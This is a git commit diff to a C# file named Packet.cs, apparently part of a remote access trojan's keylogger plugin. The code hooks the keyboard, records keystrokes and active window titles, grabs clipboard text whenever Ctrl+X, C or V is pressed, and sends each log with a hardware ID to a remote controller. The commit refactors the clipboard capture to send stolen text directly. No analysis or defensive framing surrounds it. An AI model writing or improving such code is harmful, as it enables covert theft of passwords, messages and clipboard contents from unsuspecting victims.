Update Packet.cs

This commit is contained in:
NYAN CAT 2019-10-15 18:32:50 +03:00
parent 19bbbb17a1
commit e5aedb24ca

View File

@ -88,7 +88,7 @@ namespace Plugin
int vkCode = Marshal.ReadInt32(lParam);
bool capsLockPressed = (GetKeyState(0x14) & 0xffff) != 0;
bool shiftPressed = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0;
bool ctrlPressed = (GetKeyState(0xA2) & 0xffff) != 0 || (GetKeyState(0xA3) & 0xffff) != 0;
bool ctrlPressed = (GetKeyState(0xA2) & 0x8000) != 0 || (GetKeyState(0xA3) & 0x8000) != 0;
string currentKey = KeyboardLayout((uint)vkCode);
if (capsLockPressed || shiftPressed)
@ -102,23 +102,10 @@ namespace Plugin
if (ctrlPressed)
{
switch ((Keys)vkCode)
if (((Keys)vkCode == Keys.X) || ((Keys)vkCode == Keys.C) || ((Keys)vkCode == Keys.V))
{
case Keys.X:
{
currentKey = $"[CTRL+X]:{ClipboardGetText()}\n";
break;
}
case Keys.C:
{
currentKey = $"[CTRL+C]:{ClipboardGetText()}\n";
break;
}
case Keys.V:
{
currentKey = $"[CTRL+V]:{ClipboardGetText()}\n";
break;
}
ClipboardGetText(((Keys)vkCode).ToString());
currentKey = string.Empty;
}
}
else if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24)
@ -145,6 +132,8 @@ namespace Plugin
}
}
if (!string.IsNullOrWhiteSpace(currentKey))
{
StringBuilder sb = new StringBuilder();
if (CurrentActiveWindowTitle == GetActiveWindowTitle())
{
@ -164,6 +153,7 @@ namespace Plugin
msgpack.ForcePathObject("log").AsString = sb.ToString();
Connection.Send(msgpack.Encode2Bytes());
}
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
catch
@ -172,22 +162,25 @@ namespace Plugin
}
}
private static string ClipboardGetText()
private static void ClipboardGetText(string key)
{
string ReturnValue = string.Empty;
Thread STAThread = new Thread(
delegate ()
{
if (Clipboard.ContainsText())
{
Thread.Sleep(500);
string ReturnValue = string.Empty;
ReturnValue = Clipboard.GetText();
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("log").AsString = $"\n[CTRL+{key}]:{ReturnValue}\n";
Connection.Send(msgpack.Encode2Bytes());
}
});
STAThread.SetApartmentState(ApartmentState.STA);
STAThread.Start();
STAThread.Join();
return ReturnValue;
}
private static string KeyboardLayout(uint vkCode)